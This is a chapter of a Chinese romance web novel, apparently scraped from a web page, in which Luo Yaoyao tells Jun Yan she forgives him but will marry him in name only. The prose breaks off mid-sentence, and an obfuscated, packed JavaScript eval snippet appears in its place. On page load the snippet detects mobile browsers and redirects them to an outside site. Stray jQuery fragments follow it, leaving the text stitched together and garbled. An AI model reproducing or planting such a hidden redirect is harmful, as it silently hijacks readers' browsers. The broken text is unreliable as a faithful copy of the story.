“信你……”她轻柔重复了他的话,欺身上前,抬手,指尖轻轻放在他下巴处,眼眸中重新出现了灵动之光……
他有些讶然地观察着她神色的变化,忽然听见她轻轻地说——
“君琰,我原谅你了。”
时间仿佛随着她这句话静止了,他恍惚了好一阵子。
“你说什么?”
“我说我累了。”她的手滑落了下来,落在他腿上,“我决定,放过你了。”
“你……”
“字面意。”她看着他,眼波柔情缱绻,“被我折磨了这么久,你也累了吧?”
他深深看着她,仿佛是在梦中……然下一瞬,无比的担忧又涌上心头来,她的意思若是说不再恨了,那便是既无恨也无爱的陌生人吧?陌生的,夫妻?
她观察着他的神色,不知为何自己说要放过他以后,他的脸上反而是那种失落的神情,并没有什么欣喜……他显得更加紧张了。
或许他从始至终想要的,都并不是她的放过,他是想要重新挽回她的心。
“我近来一想到王府中的日子,便是喜悲两重天,我记得你冷落我的那些时日,记得你对我说过的每一句剜心之语,可也会记得我们初相遇的时候。‘人生若只如初见’,多好。可惜你是带着目的来找我的,我们的相逢从一开始就不单纯。”
“这点你说得没错。我确是带着目的来找你的,我利用了你的医者仁心,来接近你……”
“我死过一次之后,你也付出了同等的代价,所以我准备原谅你了。你从前做过什么我不计较了,也会遵照血契嫁给你,只是以后我们再别想交心,因为哪怕是现在,我也已经努力过了,是你执意不肯把一切都告诉我,那么将来哪怕你想说了,我也不会再听了。”
他听明白了她的话,笑得无奈且苍凉……“这样,也好。”
“有件事我可以对你坦白。”她站在那儿说,“秦璐和司云都走了,是我让他们走的,因为我对他们不起。”
“你对不起他们?什么意思?”
“我从来只是把他们当成报复你的工具。”
“……啊?”
这句话让他震惊了许久都没缓过神来,正要怀疑其可信度时,又听见她接着说:
“爱也好恨也罢,我在意的从来都只有你一个人,但是从今往后,这份在意不会再有了。你我之间的孽缘,随着第七次的婚礼,也就到此为止吧。”
她脸上的神情,昭示着她说的话并不是假的。
他心中莫名一阵汹涌,各种情绪五味杂陈,撕扯得他要裂开了。暂时放过有关那两个情敌的事,他说:
“那你为何还要嫁给我,做名分上的夫妻?那个血契你当初就不该立!即便没有它,别说伺候你一百天,伺候你一辈子我也是愿意的。”
“婚姻嫁娶便是你我这场孽缘的坟墓。如果你现在又后悔了,我也可以奉陪,但需要你我分别去手来终止这场血契。”她说着拿出了刀,“你要愿意的话,我也是不怕疼的。”
“……不!你何苦要折腾自己呢?嫁给我就那么不好?!”他上前夺去了她手里的刀,“我到底该怎么做,要怎么做……”
刀“哐啷”一声掉在了地上,他上前抱住她,不容她抗拒,一只手轻轻环到她后脑勺,安慰似的抚摸着,“不要这样。你可以报复我,但不要伤害自己。既然你说原谅我了,又为什么不愿意再给我一个机会?”
“我没办法……”
“不,你有办法。相信我,我们都会有办法的。”他说至动情处,忽上前封住了她的唇。
凉薄的唇瓣擦过她柔软的樱唇,舌头霸道撬开了她的牙关。她好容易才缓过神来,见他如此,心头又是一阵酸楚,一下子咬下去……他口角流出了血,却依然没有松口,甜腥的味道顺着流过喉/结处,滑落到锁/骨。
于是她尝到了他的血。心头梗塞难言,在触到他血的那一刻又起了一层怜心,既甜且痛的滋味在她心间蔓延着、纠缠不休,她终于像初见时那样,鬼使神差地回吻了他一次。
这个回吻好像激起了他的信心,他将她搂得愈发紧,唇齿相依间,紧闭双眼,似连她的呼吸都要攫取了去……
算了。
她心想。
就这一回。
最后一回了。
大殿的灯火摇曳不灭,葡萄躲在角落的一个纸盒子里已经很久了,一双海蓝宝大眼睛看着他们,静静的没有发出一点声响,显得十分乖巧。若是没人刻意去找,只怕都不知道它藏哪里。
这两个人之间总是很奇怪,时好时坏,今天为什么又贴在一起了呢?葡萄想着,难道是因为谁打猎获胜了,得到另一个人的奖励?
不,他们是“人”吗……
也许只是两只大猫而已。
猫阿爹,猫阿娘。
如果他们不是自己的爹娘,那自己的爹娘是谁呢?它今年才一岁大,有记忆以来看到的人就是他们。
嗯,阿爹阿娘今天看上去心情还蛮不错的。是不是等会儿会来给自己加肉肉吃?
它想着满足地打了个大大的哈欠,软软的小脑袋一耷拉,整只猫都彻底缩到纸盒里去了。
夭夭想起了上次的事情。
那次他听了司云的话,鬼使神差地割血给她做药引,被她打翻了药。
而今她却还是尝到了他的血。
摩挲了许久,她的唇也破了……
两个人的血流到了一起。
太久了,她要喘不过气来了,咬他竟然没用,下多狠的嘴也不能叫他松口。
一抬手就推开了他。
他如今毒刚解,没有武功,身子也不如从前好了,猝不及防被她一推就松开了,她抬手直接用手背擦了把唇边的血,看着他。
上一次与他拥吻,还是在她未被伤透心的时候,中间已不知过去多久了……他的怀抱、他的唇,依旧和从前一样,只是比从前多了几分求而不得的凄凉。
“这八天,你想要怎么度过?”她问他。
君琰拿出干净的手帕,擦去唇角的血,“你有什么计划吗?”
“自然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314725|142718||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没有,我是问你的意愿。”
若她的计划不错,这剩下八天就是她与他最后相对的日子了。从今往后,他们将两相忘。
“我能有什么意愿……我唯一想要的,不过是你。”
“那我满足你。”她应下,“你想做什么,我都会陪你的。”
他一时有些不敢相信自己的耳朵,然事出反常必有妖,心里有了不祥的预感,他问:“为什么忽然对我好?你不是还说婚后只做名分夫妻么?”
“一百天没到,你现在仍是我的下人。”她的语气一如既往:“既是下人,有何权利来问主子原因?给你的恩赏你接着便是。”
“其实不急在这一时的。”他仍然想弄个清楚,“等以后我们还有一辈子。”
“有一辈子的孤冷和疏离。”她上前说:“时间可以无尽流逝,世间却再也不会有从前的君琰和洛夭夭了。”
他叹了口气……
“不过你也别灰心丧气,至少我已经决定放过你了。”她转身拿了一个小木盒过来,打开,从中取出了一粒药,“吃了。”
他接过毫不犹豫地吃下。
她笑了。他总是这样,只要是她递来的东西,问也不问就会直接吃。
“这颗药八天以后起一半的效果,八天后我还会给你另一粒药,服下后一个月功力可以恢复,这一个月的时间里你也可以去联系你的旧部,去做那个假身份的事儿。”
“谢……”他欲言又止。
自己什么时候也需要和她说谢谢了吗……
当真如她所言,疏离至此?
“婚期就定在第一百三十一天吧。
到了那时,我再嫁给你,便不会再有心了。所以这八天,无论你想做什么,我都会满足你。”
他越发有些看不懂了……
“无论做什么?”
“无论做什么。”
她走到旁边,转了一下墙壁上的机关,一时间大殿中所有的灯烛顺次熄灭……光芒从幽暗直至于无。锁在纸盒里的葡萄好像感受到了异常,疑惑地醒了过来,东看看西看看,“嗖”地一下从纸盒里跳出来了。
“喵喵喵?”(怎么忽然黑了?)
“喵?”(人呢?人都跑哪里去了?)
“夭夭……”他不易她忽然关灯,通过辨声找到了她所在的地方,走过去,拉住了她的手。“我说过,不急在一时……”
“这是你最后的机会。”她却说,“我们婚后,就只是名义上的夫妻。”
他有些头疼。“……一定要这样说吗?”
黑暗中她环绕着他走过,如兰般的呵气声飘到了他脖颈处,连带着挠得他心里也泛起了一阵痒。
忽又想起上次受此煎熬的滋味了。
他转过身将她拽到怀里来。
黑暗中彼此都看不清对方的脸,但他能通过气场感知到她现在的神色……一点温热忽滴落在了手背上,分不清是血还是泪,她配合地伸手搂住了他的脖颈。
于是他将她打横抱起了,摸索着朝那个熟悉的方向走去。